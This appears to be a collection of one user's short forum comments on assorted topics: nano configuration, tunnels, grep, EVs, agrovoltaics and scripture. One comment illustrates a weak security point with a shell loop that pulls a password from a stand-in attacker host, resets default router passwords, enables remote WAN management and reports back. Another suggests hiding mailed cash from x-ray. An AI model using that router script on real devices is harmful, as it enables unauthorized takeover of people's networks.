Something something about a boat and a helicopter…

Believe me, we’re trying. But we’re tired too, and the people we’re trying to reach are our friends and family, so… it takes time.

+1 for fricking .pcx, gee wizzacles.

Once you configure nano with a ~/.nanorc file, it becomes a lot more like micro/helix without having to install anything on new systems. I just curl my config and I’m good. I have Ctrl+C, Ctrl+V, 2 space tabs, mouse scrolling +selection, syntax highlighting, etc. There’s a lot you can do in there, and that’s not to mention plugins.

Cloudflare tunnels is more than just a reverse proxy, but agreed. That might be the better option regardless. If you’re Cloudflare-averse, you can use Tailscale funnels, or spin up your own rproxy+tunnel solution (there are plenty out there, such as Rathole, Zrok, or frp).

Yeah I know, just making a terrible attempt at humor. 😅

You could print a random letter or graphic(s), preferably on heavier paper, and wrap the cash inside. That should make it a little harder to feel or spot on x-ray.

…and you pay more for other distros?

Replacing line breaks with nulls first is an option. That’s a lot of extra processing for very large blocks of text though.

Using regular grep is possible with the right flags, or you could also use pcre2grep with the -M flag, which should be available on every distro nowadays. See this Stack Overflow article for details.

I’d bet it’s just further self-censoring for fear of being unalived.

Extremely cool. More electric megavehicles will hopefully make regular EVs seem more reasonable to some skeptics.

Also, is it just me or does that cover image look like LEGO at first?

I presume that would mean a transition from analog to digital, which would be a whole thing. (Probably just the unit, digital transmission would not be backwards compatible.)

No worries. It is technically another layer in the “swiss cheese” model, but it certainly is more holes than cheese. I think it falls into the “can’t hurt, might help” category.

That’s what I said though, it only protects you from the very most basic of mindless scripts. Obviously ARP/NDP makes it pointless for anything more complicated than…

newpass="$(curl "https://bad.guy/get_pass_for_pub_ip")"
for a in '192.168.1.1' '192.168.0.1' '10.0.0.1'; do
    curl -q "http://${a}/reset_password.cgi?&password=password&new_password=${newpass}" 2>/dev/null && \
    curl -q "http://${a}/remote_management.cgi?&password=${newpass}&wan_enable=1" && \
    curl -q "https://bad.guy/success?addr=%24%7Ba%7D"
done

…completely pointless. If it’s a someone inside your network, you need more.

Using a random non-default subnet increases security (slightly, and only through obscurity) by making it harder for a compromised device to perform automated attacks against, most often, your router. Typically they’re pretty simple scripts that just try to hit default ports on default IPs.

Not immediately viable, but much better for many applications: I’m imagining an agrovoltaic setup where the tractors use a pantograph to pull energy from an overhead line mounted off the solar panels. Effectively, it would be a trackless tractor-tram. Only a small battery would be needed for row end turnarounds and driving between fields. They already mostly drive themselves, so having the rows of panels to reference off of would actually simplify the navigation system substantially, and at that point you may as well add a pantograph and overhead line.

The color brightness improvement over DLP is night and day difference.

Well of course it doesn’t, God does.

Who ever said there aren’t still disciples? It’s literally the Great Commission (Matthew 28:19-20; also Mark 16:15-16).

^(19)Therefore go and make disciples of all nations, baptizing them in the name of the Father and of the Son and of the Holy Spirit, ^(20)and teaching them to obey everything I have commanded you. And surely I am with you always, to the very end of the age.

I mean, postmarketOS supports a pretty decent range, but as far as native Linux phones I’m right with you.
